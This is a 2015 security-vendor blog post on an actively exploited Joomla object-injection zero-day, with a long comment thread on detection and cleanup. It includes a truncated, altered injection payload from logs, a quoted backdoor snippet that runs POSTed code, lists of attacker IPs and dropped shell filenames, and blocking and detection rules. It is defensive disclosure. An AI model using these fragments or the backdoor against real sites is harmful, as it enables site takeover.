• Skip to primary navigation
  • Skip to content
  • Skip to primary sidebar
  • Skip to footer

Sucuri Blog

Website Security News

  • Products
    • Website Security Platform
    • Website Firewall (WAF)
    • Enterprise Website Security
    • Multisite Solutions
  • Features
    • Detection
    • Protection
    • Performance
    • Response
    • Backups
  • Partners
    • Agency Solutions
    • Partners
    • Referral Program
    • Ecommerce
  • Resources
    • Guides
    • Webinars
    • Infographics
    • SiteCheck
    • Reports
    • Email Courses
  • Immediate Help
  • Login

Critical 0-day Remote Command Execution Vulnerability in Joomla

December 14, 2015Daniel Cid

1.5k
SHARES
FacebookTwitterSubscribe

Nov 2016 Update: If you need to clean your hacked Joomla site, we have released a new free guide to show you how to identify and remove hacks.

Read the Guide!

The Joomla security team have just released a new version of Joomla to patch a critical remote command execution vulnerability that affects all versions from 1.5 to 3.4.

This is a serious vulnerability that can be easily exploited and is already in the wild. If you are using Joomla, you have to update it right now. If you need joomla security and malware removal, contact our team.

Update – 2015/12/14, 17:15PM EST If you are using the old (unsupported) versions 1.5.x and 2.5.x, you have to apply the hotfixes from here. This article from OSTraining explains how to apply them.

Zero day Exploits in the Wild

What is very concerning is that this vulnerability is already being exploited in the wild and has been for the last 2 days. Repeat: This has been in the wild as a 0-day for 2 days before there was a patch available.

Looking back at our logs, we detected the first exploit targeting this vulnerability on Dec 12, at 4:49PM:

2015 Dec 12 16:49:07 clienyhidden.access.log
 Src IP: 74.3.170.33 / CAN / Alberta
 74.3.170.33 - - [12/Dec/2015:16:49:40 -0500] "GET /contact/ HTTP/1.1" 403 5322 "http://google.com/" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3: ..
 {s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0: .. {}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:..
 {s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:..

We modified the payload so it can’t be misused, but the attackers are doing an object injection via the HTTP user agent that leads to a full remote command execution.

We detected more exploits from this same IP address “74.3.170.33” on Dec 12th, followed by hundreds more exploit attempts from 146.0.72.83 and 194.28.174.106 on Dec 13th.

Today (Dec 14th), the wave of attacks is even bigger, with basically every site and honeypot we have being attacked. That means that probably every other Joomla site out there is being targeted as well.

Protect Your Site Now

If you are a Joomla user, check your logs right away. Look for requests from 146.0.72.83 or 74.3.170.33 or 194.28.174.106 as they were the first IP addresses to start the exploitation. I also recommend searching your logs for “JDatabaseDriverMysqli” or “O:” in the User Agent as it has been used in the exploits. If you find them, consider your Joomla site compromised and move to the remediation / incident response phase.

Note that clients behind the Sucuri Firewall were already protected against this threat and are safe. Yes, our virtual patching for the HTTP User Agent kept our users protected against this exploit.

If You Use Joomla, Update ASAP!

For those on the 3.x branch, update immediately to 3.4.6. There will be unofficial fixes for Joomla! 1.5.x and 2.5.x provided soon. Anyone using those versions should stay aware and update as soon as possible.

We are still monitoring the issue and will provide more updates as we learn more. If you require Joomla malware cleanup services, our team is happy to help restore, protect, and monitor your site going forward.

1.5k
SHARES
FacebookTwitterSubscribe

Categories: Joomla Security, Vulnerability DisclosureTags: Zero-Day

About Daniel Cid

Daniel B. Cid is Founder of Sucuri and the VP of Engineering for the GoDaddy Security Products group. He is also the founder of OSSEC and CleanBrowsing. You can find more about Daniel on his site dcid.me or on Twitter: @danielcid

Reader Interactions

Comments

  1. Jan R

    December 14, 2015

    To mitigate the attacks before updating Joomla, would it be sufficient to deny “strange” user-agent strings? For example in your .htaccess to deny user-agent strings containing an accolade { :

    RewriteCond %{HTTP_USER_AGENT} .*{.* [NC]
    RewriteRule .* - [F,L]

    • Lee Wei Yeong

      December 14, 2015

      Any equivalent rule for `nginx`?

      • ionut

        December 14, 2015

        Try with this inside your server block:

        if ( $http_user_agent ~* ({|}) ) {
        return 403;
        }

    • Daniel Cid

      December 14, 2015

      That would work. I would also recommend blocking O:[0-9] as an additional hardening.

    • Marco

      December 14, 2015

      Warning, from my apache logs, some users use those kinds of user-agent :

      Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SIMBAR={19D004AF-08EA-11E2-BEF2-000000000000}; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; MSOffice 12)

      Outlook-Express/7.0 (MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; BTRS121932; SIMBAR={1605FC0C-5EB7-4998-85F3-AB145EAFDD05}; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; TmstmpExt)

      You should try :

      RewriteCond %{HTTP_USER_AGENT} O:[0-9]+: [NC]
      RewriteRule .* - [F]

      • Jan R

        December 15, 2015

        Thanks for your reply Marco! Sometimes you have to take drastic measures which may block legitimate visitors. However, such mitigation measures should never be in place for longer than a day or so, only in between the time of hearing about the exploit and updating Joomla.

      • Esa Jokinen

        December 15, 2015

        As mod_rewrite doesn’t work on Apache server level without “RewriteOption InheritDown” (available from Apache 2.4.8) I’d suggest using BrowserMatch directive instead (in conf.d/):

        BrowserMatch O:[0-9] joomla-exploit-workaround

        Deny from env=joomla-exploit-workaround

  2. Brian Teeman

    December 14, 2015

    As always Sucuri chose to promote their own services first – sad

    • Daniel Cid

      December 14, 2015

      We are proud of what we do here. We are proud that our work can protect our clients even from some 0-day exploits going out there.

      But this post is far from promoting ourselves. In fact, we only mentioned it to let our clients know that they are safe/protected.

      Anyone else can either update Joomla, use ModSecurity or any other WAF to protect themselves.

    • Canuckistani

      December 14, 2015

      It’s their website, it’s their article and it highlights what their service is finding. They should be hyping up their own services on their own website – nobody works for free!

      • Phil Taylor

        December 14, 2015

        They only found it once it was reported by the Joomla team and they searched their historic log files!

    • Tony Perez

      December 14, 2015

      Hey @brianteeman:disqus

      Too bad you didn’t feel you could come to me with this concern.

      As my partner explained, we are in fact very proud of what we do here. We do more to bring awareness to the issue than most realize, and we report on what we’re seeing via our network to help provide perspective and context. So yes, if we reference that our customers are in fact protected, being it’s a question we’ll get asked, then sincerest apologies for the inconvenience.

      Too bad though..

      Tony

      • JΓ©rΓ΄me Segura

        December 15, 2015

        Well said Tony πŸ™‚

      • Alan Langford

        December 16, 2015

        I think Brian’s concern, although not well phrased, is that your reports tend to offer too much information during a period where site administrators may not have had a chance to update their sites. There are a lot of administrators who are lax when it comes to updating. Although the exploit is available in the hacker community, I don’t think it’s safe to assume that all potential hackers are sufficiently plugged into that community to be aware of the details. By publishing the details of the exploit simultaneously with the availability of the patch, those of us on this side of the fence feel that you’re giving people a tool to go and do significant damage, all for being able to take credit for breaking the news.

        I for one would be much happier if you announced the vulnerability in more general terms at the time the update was made available, but withheld the technical details for several days. Granted this is less of an issue when the exploit is in the wild, but you have done this with undisclosed vulnerabilities, and I personally feel that put a lot of sites at risk for no good reason.

        • Alycia

          December 16, 2015

          There is no POC in the post, so unsure about giving people a tool to go
          and do significant damage? The post does provide IPs for admins to watch for. In my humble opinion, any major RCE vulnerability will
          attract hackers to seek underground discussions…. no matter how
          general you keep the disclosure among whitehats.

        • Tony Perez

          December 16, 2015

          Hi @abivia:disqus

          I’m pretty sure I understand @brianteeman:disqus intent pretty well.

          As for your points on what, specifically how much we provide. Our position is, and continues to be that we’ll disclose whatever information we have available that is already public knowledge. This was an active Zero day, needed to be shared and we use what we have at our disposal to get the information out.

          Something to consider. In your argument you are focusing on the “lax” administrator; in turn we’re focusing on the proactive ones. Those that care, and use the information we share to protect their properties. There is little we can do for those that don’t care.

          What we share is valuable, and it makes a difference. There are two sides to the fence, and there are just as many administrators thanking us, as those that share similar sentiments as to those you have expressed.

          Thank you though, for sharing your thoughts.

          Tony

          • Alan Langford

            December 16, 2015

            My consideration of the “lax” administrator comes from considerable experience. There are several sub-cases of this, the worst being someone who built a site for a customer, gave them no guidance on maintenance, and moved on. These are the sites running things like Joomla 1.5.6 and frankly I have no idea how they survive unscathed. These administrators don’t even know what a security advisory is and there’s not much we can do about that.

            However there are a lot of reasonably responsible administrators who are also small business owners where their website is a necessary but non-critical part of their business. Some of them have day jobs. Some of them travel. Some of them have calendars booked days in advance. Anecdotally, I’d submit that the vast majority of Joomla and WordPress sites fall into this category. As far as I’m concerned, anything that increases the risk of their site being attacked before they can find the time to perform an upgrade is non-optimal.

            To be clear, I have no issue with the release of information that’s tangential to the exploit such as IP source addresses, and I realize that not publishing won’t deter a serious hacker from getting his hands on the exploit. One of the joys of open source is that a simple diff on the update frequently exposes the nature of the vulnerability. Yet as far as I’m concerned, anything that makes it a little more difficult–even for the curious amateur hacker–is a good thing because it might just buy someone the few days they need to find the time to update. This is particularly so at a time of year when we’ve got a lot of bored university students who have finished exams and can’t find anything better to do.

            I realize that administrators who are on the ball appreciate full disclosure, but at the same time those will be the administrators who have patched their systems, or who can afford to make use of your services. They’re at less risk, by definition. Meanwhile, collating all the “public” information and releasing it as the patch becomes available clearly does not benefit the people who can’t drop everything and patch, or those who can’t afford your services.

            I don’t expect you to change your policies. After all, somewhere between the responsible administrators and the people who can’t afford you is your pool of new customers, and what could better focus their attention than getting hacked? I’m just elaborating on why you might be the subject of the occasional frustrated remark.

          • Tony Perez

            December 17, 2015

            Hi @abivia:disqus

            All fair points.

            There are obviously a number of counter points that can be made, but alas we’d get into a philosophical debate in which there really is no right or wrong, only perspective and personal opinion. Thanks though for sharing your concerns and insights.

            Tony

        • Daniel Cid

          December 16, 2015

          The attackers knew all they needed to know already.

          All we did was to close the gap between the attackers and webmasters. Our post gave visibility to webmasters and helped them react/protect themselves.

          Not only webmasters, but many security companies, hosting companies and web developers thanked us for sharing the details and to help them understand their risks.

          thanks,

    • SamuelTSteiner

      December 14, 2015

      Well they should. They are the only ones that even write about these exploits. When my site got hacked the only freaking site that was able to clear things up was this one.

    • SamuelTSteiner

      December 14, 2015

      Well they should. They are the only ones that even write about these exploits. When my site got hacked the only freaking site that was able to clear things up was this one.

    • Martin Saunders

      December 15, 2015

      stupid comment to make. Thanks Sucuri for a great service!

  3. bugggbear

    December 14, 2015

    Until now I have seen the following IPs exploiting this exploit:
    74.3.170.33
    146.0.72.83
    173.245.53.153
    194.28.174.106
    195.191.149.139

    • Daniel Cid

      December 14, 2015

      Yep, same here.

      • bugggbear

        December 14, 2015

        Also, one cloudflare ip showed up, it seems they don’t filter this..

        • Daniel Cid

          December 14, 2015

          Yep, their free plans don’t include protection. Not sure if they WAF (for pro and up) have a patch for this yet.

          • Dan

            December 15, 2015

            Can anyone confirm if this vulnerability is blocked or not by:
            – modesecurity
            – cloudflare
            – incapsula

          • Daniel Cid

            December 15, 2015

            ModSecurity: Their default rules do not block it.

            CloudFlare: Not blocking it.

            Incapsula: Have not tested it.

          • Dan

            December 15, 2015

            Thanks Daniel.

            Is there any simple way we can test to see if vulnerable?

    • Ngoc Pham

      December 15, 2015

      Another one found on my server’s log: 207.244.70.35.

  4. John

    December 14, 2015

    Can you tell us what was in the payload? I’ve had several sites hit with this and it is evaling a post variable($_POST[111].)

    Knowing what was in this post variable would be quite helpful!

    • Daniel Cid

      December 14, 2015

      That’s a backdoor that gets injected. So whatever code the attacker provides will be executed.

      • Rob Mangiafico

        December 14, 2015

        Looked to just be a GET URL though from our log analysis. I checked the database for changed info and could not find any, or any changed files, so I wonder if it was just a probe for now…?

        • Robert Mathews

          December 14, 2015

          The GET stores that User-Agent string in the jos_sessions database table for that IP address. Your logs should have a subsequent POST from the same IP address with the 111= payload; that’s where the exploit happens, when Joomla reloads the session data.

          • Rob Mangiafico

            December 14, 2015

            Ah, ok, yes saw the POST afterwards. As John mentioned above, it would be nice to know what they did that Sucuri found, as I can’t seem to find the inserted back-door access in the DB or any files…

          • Jacob Chafik

            December 15, 2015

            After doing cleanup – I found a lot of the sites had modified

            /includes/defines.php
            /includes/framework.php

            It also modified a few PHP files at random to execute a POST payload using preg_replace’s /e modifier.

            Simple way to search would be to search for any files modified in the last week or so
            find . -mtime 7
            find . -name “*.php” -print0 | xargs -0 egrep “preg.*_replace.+/e.+_POST”

          • Dukes909

            December 16, 2015

            My /includes/defines.php has this:
            if(strpos(implode($_SERVER),”O:”))
            How do I find other files that are modified?

          • Jacob Chafik

            December 16, 2015

            That means your site was compromised. Part of the code modification actually closed the hole so others couldn’t exploit it. From a terminal, run the above `find` commands. The preg replace one will search for any attempts to execute code using POST data. The original `find . -mtime 7` will find any files modified in the last week.

          • Dukes909

            December 16, 2015

            Thanks, but I get 0 results doing both find commands you listed. The /includes/defines.php has a timestamp of September 8, 2015…?

          • Jacob Chafik

            December 16, 2015

            The exploit has been around for 8 years… so perhaps your site was attacked earlier? It’s also not difficult to manipulate the modification time. May also try atime (for access time). If you have weekly/monthly backups, compare with your last one.

          • Dukes909

            December 16, 2015

            I do have backups; whats the easiest way to compare file timestamps?

          • Jacob Chafik

            December 16, 2015

            I would just compare files in general – look for any that have been changed. Don’t forget to check your DB for anything suspicious too.

            diff –brief -r dir1/ dir2/

          • Concerned Joomla

            December 15, 2015

            Does this mean we can search the jos_sessions table to see if it was successful? What would we search on? The serialized data (ie, JDatabaseDriverMysql)?

            Would emptying out the jos_sessions data basically prevent any “prepped” (ie, the post failed in deploying the payload but the session is still there waiting to be exploited again)?

      • John

        December 14, 2015

        Yes, I know. Since it seems to be automated and you guys are blocking it, I was hoping you knew what their payload was/did, aside from just ‘it does bad things.’

        I think there is a decent chance it is consistent, but even if it isn’t knowing what the one you logged would be quite helpful.

        Every site I’ve checked so far has been hit so far and I have been doing all the normal server checks looking for malicious files, changing passwords, etc, but having an idea of what it was would make life way easier and probably save me some time πŸ˜‰

        • Robert Mathews

          December 14, 2015

          I replied with a link to a copy of the malicious code being POSTed, but Sucuri didn’t approve my comment, which is fair enough, I guess.

          Anyway: It attempts to echo the contents of the configuration.php file back to the attacker, then patch the buggy files, then install a shell. However, it doesn’t seem to have succeeded in patching the files or installing the shell on any sites I’ve seen. Not clear why.

          • John

            December 14, 2015

            Awesome, thanks!

            That does make me feel better, as changing the passwords was the first thing I did. I’ll take another pass on the files tomorrow, but I didn’t notice any obvious shells(or changes to the database/users) on the sites I checked.

          • Camden Narzt

            December 14, 2015

            Could you send the link to cnarzt@scanimetrics.com?

          • Daniel Cid

            December 14, 2015

            Nope, we didn’t block any comments. Mind re-sending? Maybe disqus blocked it for some reason.

          • Robert Mathews

            December 14, 2015

            Ah, the comment showed up eventually (below). It’s at pastebin dot com URLs /jbjqdcmx and /e25zxcn6 .

            I’ve since found a small number of sites where the shell DID get installed, and someone started using it to send spam. It looks like the payload they’re sending only works on some sites (perhaps 10-15% of the ones that were attacked?); not sure which or why. It’s also not yet clear to me if the “send the attacker the configuration.php file” part of the payload worked on only the ones where the shell install worked, or if that part worked on all of them.

          • Matt Thomson

            December 15, 2015

            Hi Robert,

            Could you please post the file paths to where shell did get installed on your sites and the filepaths of any files it tries to patch thanks.

          • Dom

            December 16, 2015

            and mine seems to be more “elaborate” pastebin /rp23dRin

          • Mex

            December 15, 2015

            yes, you do: none of my comments with naxsi-rules (included | linked) showed up on your blog, not just this article, which is sad.

        • WooDzu

          December 15, 2015

          After analysing the logs it looks like the attack was unsuccessful
          and the only thing that secured my website was a non-www to www
          redirection on Apache. Basically the $_POST[111] payload was sent to non-www address and was redirected away. The bot didn’t bother to resent to www address.

          • Xristoph (X70) C.Rad

            December 16, 2015

            WooDzu, are you serious??? LOL that’s great…guess by default of my setup I’m protected too by the power of triple w

    • A Fisher

      December 15, 2015

      For my sites that were accessed by the above IP addresses, I’ve found that the following file was modified on the same day. The contents are not only suspicious, they’re completely different from the stock Joomla file: libraries/joomla/session/session.php

      • Xristoph (X70) C.Rad

        December 16, 2015

        Thanks A Fisher, good to know which file we should keep an eye on. RSFirewall has a nifty new feature that allows for file comparison within the joomla admin control panel which has already proved useful.

        • A Fisher

          December 20, 2015

          I found the changed file by using the file change scanner in Akeeba Admin Tools

  5. Daniel Cid

    December 14, 2015

    Absolutely. The “one click update” applies to all affected versions? Or only for those on 3.4.x so far?

  6. TheOne

    December 14, 2015

    What log do I need to look for? access_log? I cannot find this

    grep JDatabaseDriverMysqli access_log nothing found

    • Daniel Cid

      December 14, 2015

      Try to look on all your access log files. Depending on how your server is configured, they would be inside /var/log/http or /var/log/apache2 or ~/logs. You can even try a “grep -r” to go through all files and see if there is any hits there.

      thanks,

  7. Daniel Cid

    December 14, 2015

    Awesome, thanks for the update. We will link to it in the post as well.

  8. Daniel Cid

    December 14, 2015

    Thanks for confirming. Will link to your post as well.

  9. Brandon Weston

    December 14, 2015

    I’ve been going through access logs and 4 of our websites were targeted by that described attack, with the same IP actually (146.0.72.83 ). Some of them returned code 200, which has me a little concerned. Do you have any information about where the payload is dropped?

    • Greg

      January 16, 2016

      We have found several new files and mod files across various sites, here are the most common
      /media/editors/tinymce/skins/lightgray/img/thumb.php
      /media/editors/tinymce/skins/lightgray/img/strange.php
      /libraries/index.php
      /includes/framework.php (modified header)
      /includes/defines.php (modified header)
      /media/system/js/thumb.php
      /cookietest.php
      /joomla_verwx1.php
      /upload_e45.php
      /update_rxd.php
      /conf_bmx.php
      /upload_dni.php
      /update_rxd.php
      /conf_pue.php
      /upload_3x0.php
      /joomla_verw8f.php
      /config.php
      /wsdl.php
      /error.php
      /kurd.php
      /joomla_ver5fm.php
      /upload_v8v.php
      /upload_gxo.php
      /upload_51i.php
      /update_g6z.php
      /joomla_veria6.php
      /upload_eln.php
      /upload_guo.php
      /upload_sj5.php
      /update_rbu.php

  10. Phil Taylor

    December 14, 2015

    But no mention that this is – and was – a WP hack a few months ago, that this is just a clone of a well known technique already investigated by others, or that the result of this hack is a payload that effects 3 Joomla code files (/includes/framework.php, /includes/defines.php, /index.php) and uploads FilesMan backdoors to several places with several different known filenames – the payload – that YOUR customers are asking you for, that you dont seem to know… these files are dropped.

    sort.php
    conf.php
    utf8.php
    cp1251.php
    backup.php
    cache.php
    reverse.php
    bin.php
    cgi.php
    memcache.php
    sql.php

    all decoded from the seen FULL hack… all you are reporting is the basic stuff. You are also not noticing that the full hack involves PHP’s way of deserialising session objects, and the upstream PHP bug therein. And you are failing to report that SimplePie can be tweaked to override its validation of cache function names… so pretty much your blog post is very little based on actual facts about this particular hack.

  11. SamuelTSteiner

    December 14, 2015

    Again? Really? Another zero day exploit??? Joomla wth?

    So did the Firewall block this exploit or is my site potentially hacked at this point?

    • Daniel Cid

      December 16, 2015

      This vulnerability can’t even be blamed to Joomla directly. The security of your site should not be dependent on flawless code alone. Almost everyone that applied security in depth were protected against this vulnerability. (or able to react fast)

  12. cryan

    December 15, 2015

    Is there a simple patch for Joomla 3.0.2. I can’t seem to update my site without bricking it. Even a simple code change in sessions.php (as per Joomla 1.5 hotfix) that someone could provide? I have no modify permissions (Win IIS) outside of tmp and cache directories for IUSR account, will this protect me?

  13. Anna Mendez

    December 15, 2015

    How is possible to check of shell is installed? where should be if installed?
    also, wich files you mean when you say ‘patch the buggy files’?

    Sorry for my dummies question.
    Many thanks on advance

    • Rob Mangiafico

      December 15, 2015

      Use this grep to find any shell files – we’ve found this in common on all of the hacked Joomlas and any uploaded files:
      grep -rl ‘default_action = ‘ ./ –include=*.php

  14. Dan

    December 15, 2015

    Does anyone know if this vulnerability is blocked or not by:
    – modesecurity
    – cloudflare
    – incapsula

  15. LΓ‘szlΓ³ KovΓ‘cs

    December 15, 2015

    iptables -A INPUT -s 146.0.72.83 -j DROP
    iptables -A INPUT -s 74.3.170.33 -j DROP
    iptables -A INPUT -s 194.28.174.106 -j DROP
    iptables -A INPUT -s 35.0.127.52 -j DROP
    iptables -A INPUT -p tcp –dport 80 -m string –algo bm –string “JDatabaseDriverMysqli” -j DROP
    iptables -A INPUT -p tcp –dport 80 -m string –algo bm –string “O:” -j DROP

    • Daniel Cid

      December 15, 2015

      Great rules. Might be a bit too aggressive, since it will block things outside of the user agent as well.

      • LΓ‘szlΓ³ KovΓ‘cs

        December 16, 2015

        A bit. πŸ™‚ We removed this:

        iptables -A INPUT -p tcp –dport 80 -m string –algo bm –string “O:” -j DROP

  16. Els

    December 15, 2015

    Silly question: if the site was attacked, what is the “remediation / incident response phase” you mention above? I’ve already applied the hotfix (Joomla 1.5), but it sounds like that would only work pre-attack, not post-attack?

    • Daniel Cid

      December 16, 2015

      Yes, that only works pre-attack. Post-compromise, you have to to do a full cleanup and remove whatever backdoor/malware they added.

      An easy way is to diff (compare) your current version with your last backup. Find all modified files and see if they have been injected. Or even revert back to your last known/good backup.

      A second option is to try to search for the last files modified and see if they are hacked, but not 100% effective.

      We also offer remediation (cleanup) as part of our plans if you do not want to do it yourself:

      https://sucuri.net/website-antivirus/

      thanks!

      • kolydart

        December 16, 2015

        Thank you. Do you know if the exploit allowed interaction with the DataBase? In that case, I guess we should also search in the data, which makes cleaning much harder..
        I noticed in the log, terms like JFactory::getConfig() indicating the intruders had access to site credentials.
        Also, I found a file planted by the intruders in the following path: /libraries/joomla/exporter.php
        The file contained the following: if (md5($_POST[‘password’]) == ‘cacf9427ffc71edf7565bd43383c71c7’) { preg_replace(“43565243145″, ”
        14516614115450142141163145666413714414514315714414550′” . $_POST[‘code’] . “‘515173″, ”); }

        • Els

          December 17, 2015

          I have the opposite problem. Had a database backup from barely a week ago, so reuploaded that one. (no changes in the last week). But now to go through all the files to see if they were changed in the last week (or find the “latest” file backup two harddisks ago…)

      • Els

        December 17, 2015

        Thanks, I’ll go the diff route, once I’ve dug up my last full backup.

  17. WooDzu

    December 15, 2015

    Serializing PHP is evil, should do dump to json and load from json instead. There will always be holes like that, one way or another.

    Thanks for the detection instructions! All clear here.

  18. Ea1Y

    December 15, 2015

    does someone has logs or an ossec rules ? thanks

    • Daniel Cid

      December 16, 2015

      OSSEC rules here:

      https://bitbucket.org/dcid/ossec-hids/commits/67696e5691127a47adba1be83826e3f73bdcea75

      • Ea1Y

        December 16, 2015

        thanks

  19. Joomlabugs

    December 15, 2015

    Morning!

    For update the Joomla only can extract the tarball of Joomla_3.4.5_to_3.4.6 in the root directory of www?

    Thanks.

  20. Jovan Style

    December 15, 2015

    if joomla is installed in windows, what would be the impact?

    • Daniel Cid

      December 15, 2015

      That’s the same. They will be able to execute commands via PHP.

  21. Alexandros A.

    December 15, 2015

    I did a log analysis in more that 200 servers so here are some more IPs :

    5.135.158.101
    5.196.1.129
    5.196.72.199
    5.196.72.207
    5.79.68.161
    5.9.36.66
    31.220.45.6
    35.0.127.52
    37.130.227.133
    37.187.129.166
    37.48.80.101
    37.48.80.73
    37.48.81.27
    46.165.230.5
    46.183.221.231
    46.45.137.71
    51.255.38.230
    51.255.38.231
    62.102.148.67
    62.210.105.116
    62.210.37.82
    64.27.17.140
    71.19.248.195
    71.19.248.201
    71.19.248.46
    77.244.254.230
    77.247.178.245
    77.247.181.163
    77.247.181.165
    77.51.138.131
    79.172.193.32
    80.82.64.129
    81.7.16.13
    82.174.117.44
    83.233.119.138
    85.10.210.199
    85.214.98.239
    85.245.242.72
    85.25.103.119
    85.25.44.141
    85.93.218.204
    88.198.14.171
    89.144.10.210
    89.187.142.208
    89.234.157.254
    89.248.160.156
    89.248.167.141
    89.73.177.236
    91.203.5.165
    91.213.8.236
    91.233.117.159
    91.234.22.48
    91.240.67.138
    91.250.241.241
    93.115.95.201
    93.115.95.205
    93.115.95.206
    93.115.95.207
    93.174.90.30
    93.184.66.227
    94.142.242.84
    94.242.228.108
    94.242.246.24
    94.242.253.92
    94.30.181.134
    95.130.13.157
    95.69.233.211
    104.156.228.165
    104.200.78.157
    104.238.169.40
    109.163.234.2
    109.163.234.4
    109.163.234.5
    109.163.234.7
    109.163.234.9
    109.194.217.99
    109.201.133.100
    109.201.143.40
    109.201.152.13
    142.4.213.25
    142.54.171.124
    146.90.84.210
    149.126.76.97
    149.202.42.188
    149.202.98.160
    149.202.98.161
    149.210.233.129
    151.80.138.19
    151.80.175.238
    151.80.37.117
    158.69.172.227
    158.69.192.220
    158.69.214.254
    158.69.215.68
    158.69.215.7
    162.221.200.51
    162.247.72.202
    162.247.72.212
    162.247.72.27
    167.114.204.255
    167.114.89.196
    171.25.193.131
    171.25.193.132
    171.25.193.25
    173.255.229.8
    176.10.104.240
    176.10.104.243
    176.56.230.162
    178.162.216.42
    178.254.18.100
    178.32.53.53
    185.100.85.61
    185.101.107.189
    185.104.120.2
    185.17.184.228
    185.65.135.227
    188.27.107.37
    188.68.229.144
    192.42.116.16
    193.107.85.62
    193.171.202.150
    193.90.12.86
    194.150.168.79
    194.150.168.95
    194.28.174.106
    194.28.174.117
    195.154.56.44
    195.154.69.88
    195.19.194.108
    195.22.126.119
    198.50.145.72
    198.51.75.165
    204.194.29.4
    204.85.191.30
    212.117.180.21
    212.21.66.6
    212.47.238.193
    212.47.246.21
    213.126.78.59
    213.61.149.100
    217.115.10.133

    good luck to all

  22. Mike

    December 15, 2015

    Do you have any modsecurity rule for blocking session.php 0day exploit?

  23. Eric Nelson

    December 16, 2015

    Daniel any idea on how long you think this exploit has been known? The exploit itself seems reasonably clever but the execution and final payload, at least what has been happening for the past few days, seems somewhat clunky and amateurish. It is as if the exploit was known by someone else and maybe sold to spammers. I have not seen many pre-existing rules or filters that would have caught at least the initial exploit. The second step of posting the payload seems to be where much of this got stopped. That is where our WAFs stopped it for our clients and I am sure the same was true for Sucuri clients … and maybe you guys caught it at the User Agent step. But I fear this one will be felt for a while across the internet …. because we all know only a small percentage of sites have been patched in the last 24 hrs. And my gut is telling me that the person or group who figured out this exploit is not the same people doing this wave of attacks that presumably started a few days ago.

    • Daniel Cid

      December 16, 2015

      The first traces of the attack started 2 days before the disclosure. We could not find any more attempts going back a while in our logs. And yes, we were able to block it due to our pre-existing rules to filter the user-agent and x-forwarded-for headers.

      As far as the scope, I am seeing a lot of sites hacked already and still a LOT of unpatched sites out there.

      thanks,

  24. anamaria1980

    December 16, 2015

    On one of my sites I have hacked some core files to disable writing session info in sessions table, except for sessions of the administrator side of joomla. Would that accidentally protect me from this attack?

    • Phil Taylor, The Joomla Expert

      December 16, 2015

      The session data has to be stored somewhere – so no – that would not protect you.

  25. ronald

    December 16, 2015

    Is joomla not working correct anymore do we have to switch to wordpress?

  26. ronald

    December 16, 2015

    Our hosting company doesn’t accept joomla because of the Security issues. Is this justified?
    Is joomla not working correct anymore do we have to switch to wordpress?

    • Daniel Cid

      December 16, 2015

      Not at all. Every CMS will have security vulnerabilities and as long as you keep it patched and follow good security practices, you will be ok.

      Remember, every code has vulnerabilities. The security of your site should not be dependent on having a flawless code. That’s why we preach security/defense in depth and taking extra security measures so 1 failure doesn’t equal to full compromise.

      thanks!

    • Phil Taylor

      December 16, 2015

      Care to name your incompetent foolish web host?

      • Tony Perez

        December 16, 2015

        Hey @prazgod:disqus

        There isn’t a need for these types of responses. There are ways to be more tactful in your engagement.

        Tony

        • Phil Taylor, The Joomla Expert

          December 16, 2015

          Whatever. A webhost refusing to host joomla on security grounds is incompetent and foolish. If you dont care for my honest engagement then block me from your site – I honestly could not care less. There is so much disinformation in the comments in your posts anyway – and more to this vulnerability that you dont know and will come to light this week… much… much more…

    • Alan Langford

      December 16, 2015

      WordPress has had multiple security issues as well. A good host needs to implement defenses against vulnerabilities in anything that involves code, be that PHP, Python, Ruby, Java or anything else. If your host thinks that banning Joomla is going to solve their security issues, then they’re delusional.

  27. Dukes909

    December 16, 2015

    I already patched my site but reading through the comments here and then going through my install I’ve found files modified: includes/defines.php has this:

    if(strpos(implode($_SERVER),”O:”)){exit;}

    which is easy enough to fix but how do I find all the other files (if any, and I presume there are) that have been modified. BTW, this file had a timestamp of Sept. 8, 2015.

  28. Pat

    December 16, 2015

    The patches for 1.5.x and 2.5.x do not fix the issue, they leave the vaunerability accessable via HTTP_X_FORWARDED_FOR

    The 3.x patch that went in, also correct this other entry point.

    • Eric Nelson

      December 16, 2015

      Not sure which patch you ended up getting. I saw two different ones, but the one that has this line below in it and the one we used should protect 1.5.x and 2.5.x going forward.

      if(!empty($xForwardedFor) && filter_var($xForwardedFor, FILTER_VALIDATE_IP) !== false)

      Adds a sanitizing routine for the HTTP_X_FORWARDED_FOR variable and a similar line does the REMOTE_ADDR variable. The user agent is just completely removed from the session data.

    • Phil Taylor, The Joomla Expert

      December 16, 2015

      Seems my other comment is being held for moderation – so I’ll give you a 4 word summary here – you are factually wrong!

  29. Philippe

    December 16, 2015

    Hi,

    I test a modsecurity rules which has stopped the attack.
    Put your own rules in your modsecurity configuration file , typically “/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_10_lab.conf” :
    SecRule REQUEST_URI|ARGS|REQUEST_HEADERS “test|O:21:”JDatabaseDriverMysqli”” “id:99992,severity:4,msg:’Access Denied'”
    SecRule REQUEST_URI|ARGS|REQUEST_HEADERS “eval(base64_decode($_POST[111]” “id:99991,severity:4,msg:’Access Denied'”
    SecRule REQUEST_URI|ARGS|REQUEST_HEADERS “feed_url” “id:99990,severity:4,msg:’Access Denied'”

    The first rule should be enough to stop the attack

    In modsec_audit.log : the access is denied

    –aed86a72-H–
    Message: Access denied with code 403 (phase 2). Pattern match “test|O:21:”JDatabaseDriverMysqli”” at REQUEST_HEADERS:User-Agent. [file “/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_10_lab.conf”] [line “38”] [id “99992”] [msg “Access Denied”] [severity “WARNING”]

  30. victim

    December 16, 2015

    I’d like to share my findings about what modifications to your system you should expect. After JDatabaseDriverMysqli requests, there was suspicious mail server activity. Deferred mails contained the header X-PHP-Originating-Script: 33:include.php(1960), infected php files (a few spread across system, some new, some modified, no particluar size or timestamp or name) contained either
